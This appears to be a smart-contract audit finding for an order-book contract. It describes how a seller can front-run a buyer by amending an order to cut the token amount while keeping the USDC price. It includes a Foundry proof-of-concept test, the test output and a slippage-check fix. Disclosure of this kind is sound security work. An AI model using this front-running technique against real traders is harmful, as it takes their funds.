Root + Impact
Description
-
The buyOrder() function doesn't verify how much token the buyer expects to receive
-
A malicious seller can front-run a buyer who is preparing to call buyOrder() by quickly amending the order via amendSellOrder() to reduce the amountToSell without changing the priceInUSDC
-
The buyer results in paying full price but receiving less amount of token, which cause economic harm.
Risk
Proof of Concept
Add the following test, then run forge test -vv --match-test test_frontRunBySeller
function test_frontRunBySeller() public {
vm.startPrank(alice);
wbtc.approve(address(book), 2e8);
uint256 aliceId = book.createSellOrder(address(wbtc), 2e8, 180_000e6, 2 days);
vm.stopPrank();
assert(aliceId == 1);
assert(wbtc.balanceOf(alice) == 0);
assert(wbtc.balanceOf(address(book)) == 2e8);
uint256 expectedAmountToSell = book.getOrder(aliceId).amountToSell;
string memory aliceOrderDetails = book.getOrderDetailsString(aliceId);
console2.log("Alice creates an order:\n", aliceOrderDetails);
vm.prank(dan);
console2.log("\nDan tries to buy Alice's order\n");
usdc.approve(address(book), 200_000e6);
vm.prank(alice);
book.amendSellOrder(aliceId, 1e8, 180_000e6, 2 days);
uint256 actualAmountToSell = book.getOrder(aliceId).amountToSell;
aliceOrderDetails = book.getOrderDetailsString(aliceId);
console2.log("Alice amends her order:\n", aliceOrderDetails);
vm.prank(dan);
book.buyOrder(aliceId);
console2.log(
"\nDan expects %d WBTC received but actually get %d WBTC",
expectedAmountToSell,
actualAmountToSell
);
assertEq(wbtc.balanceOf(dan), 1e8);
}
PoC Results:
forge test -vv --match-test test_frontRunBySeller
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 995.05ms
Compiler run successful!
Ran 1 test for test/TestOrderBook.t.sol:TestOrderBook
[PASS] test_frontRunBySeller() (gas: 421604)
Logs:
Alice creates an order:
Order ID: 1
Seller: 0xaf6db259343d020e372f4ab69cad536aaf79d0ac
Selling: 200000000 wBTC
Asking Price: 180000000000 USDC
Deadline Timestamp: 172801
Status: Active
Dan tries to buy Alice's order
Alice amends her order:
Order ID: 1
Seller: 0xaf6db259343d020e372f4ab69cad536aaf79d0ac
Selling: 100000000 wBTC
Asking Price: 180000000000 USDC
Deadline Timestamp: 172801
Status: Active
Dan expects 200000000 WBTC received but actually get 100000000 WBTC
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.37ms (1.85ms CPU time)
Ran 1 test suite in 330.15ms (9.37ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Add a minAmountToReceive argument to buyOrder() to protect buyers from receiving fewer tokens than expected
- function buyOrder(uint256 _orderId) public {
+ function buyOrder(uint256 _orderId, uint256 minAmountToReceive) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
+ if (order.amountToSell < minAmountToReceive) revert("Slippage: amountToSell too low");
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
